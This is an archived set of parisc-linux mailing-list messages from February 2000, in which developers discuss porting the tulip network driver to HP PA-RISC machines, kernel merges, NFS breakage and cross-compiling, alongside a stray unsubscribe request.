Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tulip driver
Date: Sun, 6 Feb 2000 02:46:51 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20000206024651.B3143@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618753 29956 80.91.229.3 (22 Nov 2014 01:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sat Feb  5 19:53:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA20936
	for <parisc-linux@puffin.external.hp.com>; Sat, 5 Feb 2000 19:53:12 -0700
Original-Received: (qmail 29149 invoked by uid 15267); 6 Feb 2000 01:51:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27607 invoked from network); 6 Feb 2000 01:49:07 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 01:49:07 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12HGp0-0027YHC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sun, 6 Feb 2000 02:49:06 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12HGoi-002OmUC; Sun, 6 Feb 100 02:48 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id CAA03158
	for parisc-linux@thepuffingroup.com; Sun, 6 Feb 2000 02:46:51 +0100
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6774

Hi,

I've checked in a new tulip driver, which works for me on the onbard tulip
of the A180. I've tried to use Donald's latest driver (0.91x), but this
driver needs some pci infrastructure, which isn't available in our 2.3 tree,
yet. So I ported the 2.2.14 driver and added cache flushes. Before
that I've added the cache flushes to tulip 0.91x, so whenever we update
our tree, I should have an updated tulip very quick.

The 2.2.14 tulip didn't like the SROM provided by the onboard tulip,
because it didn't provide information about the attached phy (and the
default media is in the wrong endian, but that isn't a big problem).
I fixed that by just not allocating a media table, which works in
my case. It's possible that this may break later. The SROMs of the
tulips behind the card mode dino are looking stranger, they seem
to be from a time before Digital released a sane SROM documentation
and might confuse the driver as well. But since the machine hangs,
when the driver tries to probe the second tulip on the card, this
isn't an issue, yet.

I'm now looking into getting nfs root working.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ELFness and 64bit
Date: Sun, 6 Feb 2000 03:03:11 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000206030311.A3412@alpha.franken.de>
References: <Pine.BSF.4.10.10002042255350.8742-100000@cuzea.pair.com> <20000205153759.A538@alpha.franken.de> <20000205132613.A30976@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618753 29963 80.91.229.3 (22 Nov 2014 01:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sat Feb  5 20:08:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA21255
	for <parisc-linux@puffin.external.hp.com>; Sat, 5 Feb 2000 20:08:41 -0700
Original-Received: (qmail 7162 invoked by uid 15267); 6 Feb 2000 02:07:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5809 invoked from network); 6 Feb 2000 02:05:03 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 02:05:03 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12HH4Q-0027YAC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sun, 6 Feb 2000 03:05:02 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12HH4L-002OmUC; Sun, 6 Feb 100 03:04 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id DAA03458;
	Sun, 6 Feb 2000 03:03:11 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000205132613.A30976@thepuffingroup.com>; from willy@thepuffingroup.com on Sat, Feb 05, 2000 at 01:26:13PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6775

On Sat, Feb 05, 2000 at 01:26:13PM -0500, willy@thepuffingroup.com wrote:
> We want to get people working on userland as soon as possible since this
> parallelises well with other people hacking on the kernel.  However, we
> need to go 64-bit inorder to support the L-class and similar machines.

sure, but there aren't enough people to split between even more machines.
I'd say let one person look into 64bit issues for now, and do the real
work, when 32bit is (more) solid.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge with 2.3-current
Date: Sun, 6 Feb 2000 14:38:06 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000206143806.A871@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618754 29965 80.91.229.3 (22 Nov 2014 01:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sun Feb  6 07:48:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA24639
	for <parisc-linux@puffin.external.hp.com>; Sun, 6 Feb 2000 07:48:13 -0700
Original-Received: (qmail 17110 invoked by uid 15267); 6 Feb 2000 13:46:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16250 invoked from network); 6 Feb 2000 13:45:26 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 13:45:26 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12HS0D-0027WpC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sun, 6 Feb 2000 14:45:25 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12HS06-002OkHC; Sun, 6 Feb 100 14:45 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id OAA00878
	for parisc-linux@thepuffingroup.com; Sun, 6 Feb 2000 14:38:06 +0100
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6776

Hi,

in our IRC meeting on friday we had a little discussion whether to merge
with a more recent 2.3 kernel version or not. I now have a reason why we
need to update ASAP to a newer kernel. NFS is broken in 2.3.29 :-(
I'm going to update my local tree to see whether we need to do more work
for nfs.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver
Date: Sun, 06 Feb 2000 08:54:23 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200002061654.IAA09946@milano.cup.hp.com>
References: <20000206024651.B3143@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618754 29967 80.91.229.3 (22 Nov 2014 01:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sun Feb  6 10:56:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26147
	for <parisc-linux@puffin.external.hp.com>; Sun, 6 Feb 2000 10:56:45 -0700
Original-Received: (qmail 6430 invoked by uid 15267); 6 Feb 2000 16:55:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5409 invoked from network); 6 Feb 2000 16:53:33 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 16:53:33 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id B7B94173
	for <parisc-linux@thepuffingroup.com>; Sun,  6 Feb 2000 08:53:32 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id IAA09946 for <parisc-linux@thepuffingroup.com>; Sun, 6 Feb 2000 08:54:24 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 06 Feb 2000 02:46:51 PST."
             <20000206024651.B3143@alpha.franken.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6777

Thomas Bogendoerfer wrote:
> ...The SROMs of the
> tulips behind the card mode dino are looking stranger, they seem
> to be from a time before Digital released a sane SROM documentation
> and might confuse the driver as well. But since the machine hangs,
> when the driver tries to probe the second tulip on the card, this
> isn't an issue, yet.

Thomas,
I looked at the console output you sent me and I saw several things
not correct (which I'm trying to fix) right away:
o I/O BAR's where not getting programmed correctly.
  (both tulips fighting for the same I/O Port address (0) caused the hang)
o command register was not set
o cacheline size and latency timer were not getting set.

Now I have the opposite problem: PCI code finds and initiliazes the
tulips behind card-mode Dino but tulip.c doesn't want to talk to them.
So I can't really say for sure my changes work.

I've committed my code anyway since the oboard tulip continues to work.
Perhaps you can take another look at this.

thanks
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot info from 715/64
Date: Sun, 6 Feb 2000 14:30:23 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000206143023.C319@thepuffingroup.com>
References: <388F492B.1E8EF289@linuxcare.com> <Pine.BSO.4.21.0002021544170.19835-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618754 29971 80.91.229.3 (22 Nov 2014 01:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:34 +0000 (UTC)
Cc: Alex deVries <adevries@linuxcare.com>, parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: willy@thepuffingroup.com  Sun Feb  6 12:34:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26929
	for <parisc-linux@puffin.external.hp.com>; Sun, 6 Feb 2000 12:34:01 -0700
Original-Received: (qmail 13398 invoked by uid 15267); 6 Feb 2000 18:32:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11721 invoked from network); 6 Feb 2000 18:29:48 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 18:29:48 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id OAA00415;
	Sun, 6 Feb 2000 14:30:23 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSO.4.21.0002021544170.19835-100000@mojo.calyx.net>; from Brian S. Julin on Wed, Feb 02, 2000 at 03:55:08PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6778

On Wed, Feb 02, 2000 at 03:55:08PM -0500, Brian S. Julin wrote:
> Question for the kernel high priests on the list -- is the rest of
> the input-linux stuff going into the 2.3 series soon -- if so I think 
> I'll work on converting the HIL driver over to linux-input and fitting
> the linux-input patch to this kernel (which luckily there exists one for).

Last I heard, it was a 2.5 thing.  If you want to do kernel work on a
715/64, the ncr scsi driver needs to be looked at.  It may just work if
you try it :-) [I suspect it may need some cache flushing added though]


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Tawab <robin@wizard.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot info from 715/64
Date: Sun, 6 Feb 2000 19:40:26 +0100 (MET)
Lines: 41
Approved: news@gmane.org
Message-ID: <200002061840.TAA18008@mail.wizard.de>
References: <388F492B.1E8EF289@linuxcare.com> <Pine.BSO.4.21.0002021544170.19835-100000@mojo.calyx.net> <20000206143023.C319@thepuffingroup.com>
Reply-To: robin@wizard.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618754 29973 80.91.229.3 (22 Nov 2014 01:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:34 +0000 (UTC)
Cc: "\"\\\"Brian S. Julin\\\"\"" <bri@mojo.calyx.net>,
        Alex deVries <adevries@linuxcare.com>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: robin@wizard.de  Sun Feb  6 12:43:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27090
	for <parisc-linux@puffin.external.hp.com>; Sun, 6 Feb 2000 12:43:47 -0700
Original-Received: (qmail 20126 invoked by uid 15267); 6 Feb 2000 18:42:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19286 invoked from network); 6 Feb 2000 18:40:55 -0000
Original-Received: from robin.camelot.de (HELO mail.camelot.de) (root@195.30.224.3)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 18:40:55 -0000
Original-Received: from mail.wizard.de (router.wizard.de [195.30.225.108])
	by mail.camelot.de (8.9.3/8.9.3) with ESMTP id TAA37968;
	Sun, 6 Feb 2000 19:40:30 +0100 (CET)
Original-Received: (from lp@localhost)
	by mail.wizard.de (8.9.3/8.9.3) id TAA18008;
	Sun, 6 Feb 2000 19:40:26 +0100 (MET)
X-Authentication-Warning: wizy.wizard-intern.de: lp set sender to robin@wizard.de using -f
In-Reply-To: <20000206143023.C319@thepuffingroup.com>
User-Agent: IMP/PHP3 Imap webMail Program 2.0.11
Original-Sender: robin@wizard.de
Xref: news.gmane.org gmane.linux.ports.parisc:6779

OK guys, i give up, could somebody out there help me. 
Someone has subscribed me to this mailing list, it was 
not me. I would now like to unsubscribe but the stuipid 
mailer answers me that my email adress was not found.

Could someone out there please help me to get 
unsubscribed, please?

thanx in advance
robin.

Quoting willy@thepuffingroup.com:

> On Wed, Feb 02, 2000 at 03:55:08PM -0500, Brian S. 
Julin wrote:
> > Question for the kernel high priests on the list -- 
is the rest of
> > the input-linux stuff going into the 2.3 series soon 
-- if so I think
> > I\'ll work on converting the HIL driver over to 
linux-input and fitting
> > the linux-input patch to this kernel (which luckily 
there exists one
> for).
>
> Last I heard, it was a 2.5 thing.  If you want to do 
kernel work on a
> 715/64, the ncr scsi driver needs to be looked at.  It 
may just work if
> you try it :-) [I suspect it may need some cache 
flushing added though]
>
> 
--------------------------------------------------------
-------------------
> To unsubscribe: send e-mail to 
parisc-linux-request@thepuffingroup.com with
> `unsubscribe\' as the subject.
>
> 


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC User Land
Date: Sun, 6 Feb 2000 15:21:24 -0600 (CST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10002061518320.22811-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618755 29975 80.91.229.3 (22 Nov 2014 01:12:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Sun Feb  6 15:23:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA28219
	for <parisc-linux@puffin.external.hp.com>; Sun, 6 Feb 2000 15:23:53 -0700
Original-Received: (qmail 1781 invoked by uid 15267); 6 Feb 2000 21:22:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 679 invoked from network); 6 Feb 2000 21:20:39 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@166.102.252.38)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 21:20:39 -0000
Original-Received: from localhost (IDENT:catfish@localhost.localdomain [127.0.0.1])
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id PAA22819
	for <parisc-linux@thepuffingroup.com>; Sun, 6 Feb 2000 15:21:24 -0600
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:6781

 Hello, 
 I'll be more than happy to play in user land as soon as theres enough
stablility in the port. I've got 5 old HP-Apollos laying around. 
 Actually one is up and running been up for last 2.5 monthes with HP-UX
9.0 just waiting for a Linux port as trying to use HP-Unix is like pulling
teeth. 
 I don't have room for gcc on the machine is there a way to cross-compile
a kernel off an x86 machine? 
Terry, 



From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <phil@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC User Land
Date: Sun, 6 Feb 2000 13:19:08 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20000206131907.B22105@linuxcare.com>
References: <Pine.LNX.4.10.10002061518320.22811-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618755 29979 80.91.229.3 (22 Nov 2014 01:12:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T. Martin" <catfish@alltel.net>
Original-X-From: phil@linuxcare.com  Sun Feb  6 15:34:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA28391
	for <parisc-linux@puffin.external.hp.com>; Sun, 6 Feb 2000 15:34:11 -0700
Original-Received: (qmail 8780 invoked by uid 15267); 6 Feb 2000 21:32:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7981 invoked from network); 6 Feb 2000 21:31:11 -0000
Original-Received: from thunk-dhcp-4.thunk.org (HELO moiraine.off.net) (216.175.175.179)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 21:31:11 -0000
Original-Received: (from phil@localhost)
	by moiraine.off.net (8.9.3/8.9.3) id NAA24208;
	Sun, 6 Feb 2000 13:19:08 -0800
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.10.10002061518320.22811-100000@jesse.crash.lan>; from T. Martin on Sun, Feb 06, 2000 at 03:21:24PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:6782

On Feb 06, T. Martin wrote:
>  I don't have room for gcc on the machine is there a way to cross-compile
> a kernel off an x86 machine? 

Not just yet; Dave O'Neill is working on making the SOM linker
cross-platform friendly (I believe he has it working on HPUX, and now 
needs to squash endian-related bugs).  I'm sure he'd love a helping
hand...

-Phil

-- 
Phil Schwan, Senior Linux Consultant, Linuxcare, Inc.
415.354.4878 x271 tel, 415.701.7457 fax
pschwan@linuxcare.com http://www.linuxcare.com/
Linuxcare.  Support for the revolution.


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver
Date: Mon, 7 Feb 2000 01:32:09 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20000207013209.B3162@alpha.franken.de>
References: <20000206024651.B3143@alpha.franken.de> <200002061654.IAA09946@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618756 29981 80.91.229.3 (22 Nov 2014 01:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sun Feb  6 19:29:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA30040
	for <parisc-linux@puffin.external.hp.com>; Sun, 6 Feb 2000 19:29:44 -0700
Original-Received: (qmail 9789 invoked by uid 15267); 7 Feb 2000 01:27:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8908 invoked from network); 7 Feb 2000 01:26:57 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 7 Feb 2000 01:26:57 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12Hcve-0027TIC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Mon, 7 Feb 2000 02:25:26 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12HcvR-002OokC; Mon, 7 Feb 100 02:25 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id BAA03173;
	Mon, 7 Feb 2000 01:32:09 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200002061654.IAA09946@milano.cup.hp.com>; from Grant Grundler on Sun, Feb 06, 2000 at 08:54:23AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6783

On Sun, Feb 06, 2000 at 08:54:23AM -0800, Grant Grundler wrote:
> Now I have the opposite problem: PCI code finds and initiliazes the
> tulips behind card-mode Dino but tulip.c doesn't want to talk to them.
> So I can't really say for sure my changes work.

The checked in tulip version probes for only one tulip chip. If you
want to make the driver probe for all tulips, search for the second
FIXME in the driver and remove the break; after the comment.

> I've committed my code anyway since the oboard tulip continues to work.
> Perhaps you can take another look at this.

still no go, now it hangs while probing the first tulip on the card.

Thomas.

PS: Anybody who wants to play with the tulip driver, use revision 1.4
of arch/parisc/kernel/irq.c. Newer versions got cleaned up, so they
don't work anymore:-( But with the old irq.c bootp handshake works and
I don't have to use the hacked sash anymore.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Fowler <chrisf@computone.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Video Modes on 715/33
Date: Mon, 7 Feb 2000 14:52:05 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <95B97DD42B78D31193A8005004D1E05C0F44CC@mustang.computone.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618756 29983 80.91.229.3 (22 Nov 2014 01:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:36 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: chrisf@computone.com  Mon Feb  7 14:07:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA04527
	for <parisc-linux@puffin.external.hp.com>; Mon, 7 Feb 2000 14:07:42 -0700
Original-Received: (qmail 17554 invoked by uid 15267); 7 Feb 2000 19:58:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7914 invoked from network); 7 Feb 2000 19:50:53 -0000
Original-Received: from mustang.computone.com (160.77.1.155)
  by mailserv2.iuinc.com with SMTP; 7 Feb 2000 19:50:53 -0000
Original-Received: by mustang.computone.com with Internet Mail Service (5.5.2650.21)
	id <1P3B9P0A>; Mon, 7 Feb 2000 14:52:06 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6784

I have a 715/33 and a FF monitor.  I need to change the video mode and
frequency of the HP so I can use my monitor.  Does anyone know how to do
this?

Thanks,
Chris


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <phil@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS commit messages
Date: Mon, 7 Feb 2000 21:47:41 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20000207214741.A4108@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618756 29988 80.91.229.3 (22 Nov 2014 01:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: phil@linuxcare.com  Tue Feb  8 00:03:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA18330
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 00:03:10 -0700
Original-Received: (qmail 23972 invoked by uid 15267); 8 Feb 2000 06:01:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22562 invoked from network); 8 Feb 2000 05:59:36 -0000
Original-Received: from dialup-63.210.145.251.boston1.level3.net (HELO moiraine.off.net) (63.210.145.251)
  by mailserv2.iuinc.com with SMTP; 8 Feb 2000 05:59:36 -0000
Original-Received: (from phil@localhost)
	by moiraine.off.net (8.9.3/8.9.3) id VAA04186
	for parisc-linux@thepuffingroup.com; Mon, 7 Feb 2000 21:47:41 -0800
X-Mailer: Mutt 0.95.4us
